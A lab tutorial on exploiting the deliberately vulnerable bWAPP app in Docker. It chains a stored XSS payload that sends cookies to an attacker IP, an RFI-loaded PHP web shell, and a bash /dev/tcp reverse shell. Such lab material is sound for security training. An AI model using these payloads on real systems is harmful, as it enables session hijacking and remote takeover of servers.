# Complete Tutorial: XSS-Based Session Hijacking and RFI Exploitation

## Introduction

This document provides a comprehensive tutorial on exploiting a combination of   
Stored Cross-Site Scripting (XSS) for session hijacking and Remote File Inclusion (RFI) for reverse   
shell access. This tutorial uses bWAPP running inside a Docker container and assumes the attacker   
leverages the 'evil.php' script hosted on their own machine.

## Part 1: Setup the Environment

### 1.1 Install Docker

Ensure Docker is installed on your system. If not, follow the Docker installation   
guide for your operating system.

### 1.2 Pull the bWAPP Docker Image

Download the bWAPP Docker image:

docker pull raesene/bwapp

### 1.3 Start the bWAPP Docker Container

Launch the bWAPP container:   
docker run -d -p 8000:80 --name bwapp raesene/bwapp

Verify it is running:

docker ps

## Part 2: Stored XSS for Session Hijacking

### 2.1 Access bWAPP

Visit the bWAPP login page at http://localhost:8000. Login with the default   
admin credentials (Username: bee, Password: bug).

### 2.2 Create a Victim Account (aaa/aaa)

1. Navigate to the 'Create User' section.  
2. Register a new user with the following credentials:  
 - Username: aaa  
 - Password: aaa.

### 2.3 Exploit Stored XSS

1. Login as 'aaa aaa'.  
2. Navigate to a page vulnerable to Stored XSS (e.g., http://localhost:8000/xss\_stored.php).  
3. Inject the following malicious script in a comment field:  
<script>document.location='http://10.0.2.15:9999/steal?cookie='+document.cookie;</script>  
Replace 10.0.2.15 with your attacker machine's IP address.

### 2.4 Host the Listener for Stolen Cookies

Create a simple Python server to capture cookies:  
mkdir xss\_listener  
cd xss\_listener  
python -m http.server 9999  
Leave this server running to capture requests.

### 2.5 Hijack the Session of bee/bug

1. Wait for the admin ('bee bug') to log in and visit the infected page.  
2. The malicious script sends the admin's session cookie to your server.  
3. Extract the session cookie value from the logs of your Python server.  
4. Edit the session cookie in your browser's developer tools to impersonate the admin.

## Part 3: Remote File Inclusion (RFI) Exploitation

### 3.1 Enable RFI in PHP

Enter the Docker container:  
docker exec -it bwapp /bin/bash  
Edit the PHP configuration file:  
vi /etc/php/7.0/apache2/php.ini  
Modify these settings:  
allow\_url\_include = On  
allow\_url\_fopen = On  
Restart Apache:  
service apache2 restart

### 3.2 Host the Malicious PHP Script

Create 'evil.php' on your attacker machine:  
echo "<?php if (isset(\$\_GET['cmd'])) { system(\$\_GET['cmd']); } else { echo 'RFI Proof of Concept'; } ?>" > evil.php  
Host it using Python:  
python -m http.server 9999

### 3.3 Test the RFI Vulnerability

Visit the RFI vulnerable page:  
http://localhost:8000/rlfi.php  
Inject the malicious URL:  
http://localhost:8000/rlfi.php?language=http://10.0.2.15:9999/evil.php&cmd=whoami

### 3.4 Start a Reverse Shell Listener

On your attacker machine, start a Netcat listener:  
nc -lvp 4444

### 3.5 Trigger the Reverse Shell

Use the following payload:  
http://localhost:8000/rlfi.php?language=http://10.0.2.15:9999/evil.php&cmd=/bin/bash%20-c%20%22bash%20-i%20%3E%20/dev/tcp/10.0.2.15/4444%200%3E%261%22  
Replace 10.0.2.15 with your attacker machine’s IP.